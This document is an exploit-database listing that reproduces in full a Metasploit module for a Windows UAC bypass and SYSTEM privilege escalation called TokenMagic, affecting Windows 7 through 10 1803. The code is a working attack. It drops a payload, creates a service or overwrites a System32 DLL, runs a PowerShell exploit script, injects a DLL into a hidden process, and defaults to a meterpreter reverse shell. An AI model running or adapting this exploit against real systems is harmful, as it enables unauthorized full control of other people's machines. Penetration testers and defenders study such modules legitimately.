Microsoft Windows TokenMagic Privilege Escalation

2021.05.18
Credit: James Forshaw
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-264

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::EXE # Needed for generate_payload_dll include Msf::Exploit::FileDropper include Msf::Post::File include Msf::Post::Windows::FileSystem include Msf::Post::Windows::Powershell include Msf::Post::Windows::Priv include Msf::Post::Windows::ReflectiveDLLInjection prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Windows Privilege Escalation via TokenMagic (UAC Bypass)', 'Description' => %q{ This module leverages a UAC bypass (TokenMagic) in order to spawn a process/conduct a DLL hijacking attack to gain SYSTEM-level privileges. Windows 7 through Windows 10 1803 are affected. }, 'License' => MSF_LICENSE, 'Author' => [ 'James Forshaw', # Research 'Ruben Boonen (@FuzzySec)', # PoC 'bwatters-r7', # msf module 'jheysel-r7' # msf module ], 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], 'Targets' => [ [ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X64 ] } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2017-05-25', 'References' => [ ['URL', 'https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/UAC-TokenMagic.ps1'], ['URL', 'https://tyranidslair.blogspot.co.uk/2017/05/reading-your-way-around-uac-part-1.html'], ['URL', 'https://tyranidslair.blogspot.co.uk/2017/05/reading-your-way-around-uac-part-2.html'], ['URL', 'https://tyranidslair.blogspot.co.uk/2017/05/reading-your-way-around-uac-part-3.html'] ], 'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ], 'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp', 'WfsDelay' => 900 } ) ) register_options([ OptString.new('SERVICE_NAME', [false, 'Service Name to use (Random by default).', Rex::Text.rand_text_alpha(5..9)]), OptString.new('WRITABLE_DIR', [false, 'Directory to write file to (%TEMP% by default).', nil]), OptString.new('SERVICE_FILENAME', [false, 'Filename for Service Payload (Random by default).', Rex::Text.rand_text_alpha(5..9)]), OptEnum.new('METHOD', [ true, 'SERVICE or DLL, please select which attack method you would like to use (SERVICE by default). Note that the System Orchestrator service which loads the overwritten DLL when using the DLL method can take up to 10 minutes to trigger', 'SERVICE', ['SERVICE', 'DLL'] ]) ]) end def setup_process begin print_status('Launching notepad to host the exploit...') notepad_process = client.sys.process.execute('notepad.exe', nil, 'Hidden' => true) process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS) print_good("Process #{process.pid} launched.") rescue Rex::Post::Meterpreter::RequestError # Sandboxes could not allow to create a new process # stdapi_sys_process_execute: Operation failed: Access is denied. print_error('Operation failed. Trying to elevate the current process...') process = client.sys.process.open end process end def inject_magic(process) if sysinfo['Architecture'] == ARCH_X64 library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'uso_trigger', 'uso_trigger.x64.dll') elsif sysinfo['Architecture'] == ARCH_X86 library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'uso_trigger', 'uso_trigger.x86.dll') end library_path = ::File.expand_path(library_path) print_status("Reflectively injecting the trigger DLL into #{process.pid}...") dll = ::File.read(library_path) exploit_mem, offset = inject_dll_data_into_process(process, dll) print_good('Trigger injected.') payload_mem = inject_into_process(process, payload.encoded) print_good('Payload injected. Starting thread...') process.thread.create(exploit_mem + offset, payload_mem) end def launch_dll_trigger print_status('Trying to start notepad') process = setup_process inject_magic(process) print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') rescue Rex::Post::Meterpreter::RequestError => e elog(e) print_error(e.message) end def payload_arch payload.arch.include?(ARCH_X64) ? ARCH_X64 : ARCH_X86 end def exploit win_dir = session.sys.config.getenv('windir') cmd_path = "#{win_dir}\\system32\\cmd.exe" if datastore['SERVICE_FILENAME'] service_filename = datastore['SERVICE_FILENAME'] else service_filename = Rex::Text.rand_text_alpha(5..9) end service_filename = "#{service_filename}.exe" unless service_filename.end_with?('.exe') if datastore['SERVICE_NAME'] service_name = datastore['SERVICE_NAME'] else service_name = Rex::Text.rand_text_alpha(5..9) end if datastore['WRITABLE_DIR'] writable_dir = datastore['WRITABLE_DIR'] else writable_dir = session.sys.config.getenv('TEMP') end if datastore['METHOD'] =~ /DLL/i bin_path = "#{writable_dir}\\WindowsCoreDeviceInfo.dll" payload = generate_payload_dll vprint_status("Payload DLL is #{payload.length} bytes long") client.core.use('powershell') unless client.ext.aliases.include?('powershell') register_file_for_cleanup('C:\\Windows\\System32\\WindowsCoreDeviceInfo.dll') # Register this file for cleanup so that if we fail, then the file is cleaned up. # Replace Value in Generic Script. cmd_args = "/c move #{bin_path} C:\\Windows\\System32\\WindowsCoreDeviceInfo.dll" else bin_path = "#{writable_dir}\\#{service_filename}" payload = generate_payload_exe_service({ servicename: service_name, arch: payload_arch }) vprint_status("Service Name = #{service_name}") client.core.use('powershell') unless client.ext.aliases.include?('powershell') # Replace Value in Generic Script. Note Windows 7 requires spaces after the equal signs in the below command. cmd_args = "/c sc create #{service_name} binPath= #{bin_path} type= own start= demand && sc start #{service_name}" end # Check target print_status('Checking Target') validate_active_host validate_payload # Upload the payload print_status("Uploading payload to #{bin_path}") write_file(bin_path, payload) register_file_for_cleanup(bin_path) # Read in Generic Script script = exploit_data('tokenmagic', 'tokenmagic.ps1') script.gsub!('_CMD_PATH_', cmd_path) script.gsub!('_CMD_ARGS_', cmd_args) # Run Exploit Script print_status("Running Exploit on #{sysinfo['Computer']}") begin print_status('Executing TokenMagic PowerShell script') session.powershell.execute_string({ code: script }) rescue Rex::TimeoutError => e elog('Caught timeout. Exploit may be taking longer or it may have failed.', error: e) print_error('Caught timeout. Exploit may be taking longer or it may have failed.') end if datastore['METHOD'] =~ /DLL/i launch_dll_trigger print_status("Note that the System Orchestrator service which loads the overwritten DLL when using the DLL method can take up to 10 minutes to trigger and recieve a shell.") end print_good('Enjoy the shell!') end def validate_active_host print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}") rescue Rex::Post::Meterpreter::RequestError => e elog('Could not connect to session', error: e) raise Msf::Exploit::Failed, 'Could not connect to session' end def validate_payload vprint_status("Target Arch = #{sysinfo['Architecture']}") vprint_status("Payload Arch = #{payload.arch.first}") unless payload.arch.first == sysinfo['Architecture'] fail_with(Failure::NoTarget, 'Payload arch must match target arch') end end def check sysinfo_value = sysinfo['OS'] build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/) if build_num.nil? return CheckCode::Unknown("Couldn't retrieve the target's build number!") else vprint_status("Target's build number: #{build_num}") build_num = build_num[0].to_i end vprint_status("Build Number = #{build_num}") if datastore['METHOD'] =~ /service/i # Service method has been tested on Windows 7, 8 and 10 (1803 and ealier) return Exploit::CheckCode::Appears if (build_num >= 7600 && build_num <= 17134) elsif (sysinfo_value =~ /10/ && build_num >= 15063 && build_num <= 17134) # DLL method has been tested on Windows 10 (1703 to 1803) return Exploit::CheckCode::Appears elsif (datastore['METHOD'] =~ /dll/i && build_num >= 7600 && build_num < 15063) print_error("The current target is not vulnerable to the DLL hijacking technique. Please try setting METHOD to 'SERVICE' and then try again!") end Exploit::CheckCode::Safe end end


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